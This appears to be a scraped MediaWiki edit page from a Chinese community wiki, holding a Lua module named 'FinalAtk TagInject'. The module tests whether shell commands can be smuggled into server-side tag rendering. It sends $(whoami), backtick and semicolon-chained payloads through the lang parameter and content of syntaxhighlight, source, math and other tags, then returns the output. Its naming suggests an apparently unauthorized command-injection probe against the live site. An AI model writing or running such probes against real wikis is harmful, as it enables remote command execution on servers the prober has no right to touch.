跳转到内容
开关侧边栏
希服维基
搜索
创建账号
个人工具
创建账号
登录
未登录编辑者的页面
了解详情
讨论
贡献
导航
首页
最近更改
随机页面
沙盒
常用网站
在线地图
服务器官网
希顶维基
虫站
〇改希顶转写器
工具
链入页面
相关更改
特殊页面
页面信息
编辑“
模块:FinalAtk TagInject
”
模块
讨论
English
阅读
编辑
查看历史
更多
阅读
编辑
查看历史
警告:您没有登录
我们十分建议您
登录
或
创建
一个账户,这样您的编辑将归属于您的用户名。如果您不登录做出任意编辑,您的IP地址将会公开可见。
反垃圾检查。
不要
加入这个!
local p = {} function p.test(frame) local parent = frame:getParent() if not parent or not parent.callParserFunction then return "no_parent" end local results = {} -- callParserFunction(name, arg1, arg2, ...) -- For #tag: {{#tag:tag_name|content|param1=val1|param2=val2}} -- callParserFunction(parent, "tag", tag_name, content, "param1=val1") -- Test 1: Normal tag local ok1, out1 = pcall(parent.callParserFunction, parent, "tag", "syntaxhighlight", "print(1)", "lang=python") results[1] = "normal=" .. tostring(ok1) .. ":" .. tostring(out1):sub(1,100) -- Test 2: Command substitution in lang param local ok2, out2 = pcall(parent.callParserFunction, parent, "tag", "syntaxhighlight", "TEST", "lang=$(whoami 2>&1)") results[2] = "cmdsub=" .. tostring(ok2) .. ":" .. tostring(out2):sub(1,100) -- Test 3: Backtick in lang param local ok3, out3 = pcall(parent.callParserFunction, parent, "tag", "syntaxhighlight", "TEST", "lang=`whoami 2>&1`") results[3] = "backtick=" .. tostring(ok3) .. ":" .. tostring(out3):sub(1,100) -- Test 4: Semicolon in lang param local ok4, out4 = pcall(parent.callParserFunction, parent, "tag", "syntaxhighlight", "TEST", "lang=python;whoami 2>&1;echo") results[4] = "semi=" .. tostring(ok4) .. ":" .. tostring(out4):sub(1,100) -- Test 5: Multiple params local ok5, out5 = pcall(parent.callParserFunction, parent, "tag", "syntaxhighlight", "TEST", "lang=$(whoami 2>&1)", "style=monokai") results[5] = "multi=" .. tostring(ok5) .. ":" .. tostring(out5):sub(1,100) -- Test 6: Empty content, just lang local ok6, out6 = pcall(parent.callParserFunction, parent, "tag", "syntaxhighlight", "", "lang=$(whoami 2>&1)") results[6] = "empty=" .. tostring(ok6) .. ":" .. tostring(out6):sub(1,100) -- Test 7: math tag with injection local ok7, out7 = pcall(parent.callParserFunction, parent, "tag", "math", "$(whoami 2>&1)") results[7] = "math=" .. tostring(ok7) .. ":" .. tostring(out7):sub(1,100) -- Test 8: source tag (alias) with injection local ok8, out8 = pcall(parent.callParserFunction, parent, "tag", "source", "TEST", "lang=$(whoami 2>&1)") results[8] = "source=" .. tostring(ok8) .. ":" .. tostring(out8):sub(1,100) -- Test 9: categorytree tag (might have different handling) local ok9, out9 = pcall(parent.callParserFunction, parent, "tag", "categorytree", "Main_Page") results[9] = "cattree=" .. tostring(ok9) .. ":" .. tostring(out9):sub(1,100) -- Test 10: inputbox tag local ok10, out10 = pcall(parent.callParserFunction, parent, "tag", "inputbox", "", "type=search") results[10] = "inputbox=" .. tostring(ok10) .. ":" .. tostring(out10):sub(1,100) return table.concat(results, " | ") end return p
摘要:
请注意,您对希服维基的所有贡献都可能被其他贡献者编辑,修改或删除。如果您不希望您的文字被任意修改和再散布,请不要提交。
您同时也要向我们保证您所提交的内容是您自己所作,或得自一个不受版权保护或相似自由的来源(参阅
希服维基:版权
的细节)。
未经许可,请勿提交受版权保护的作品!
取消
编辑帮助
(在新窗口中打开)
本页使用的模板:
模块:FinalAtk TagInject/doc
(
编辑
)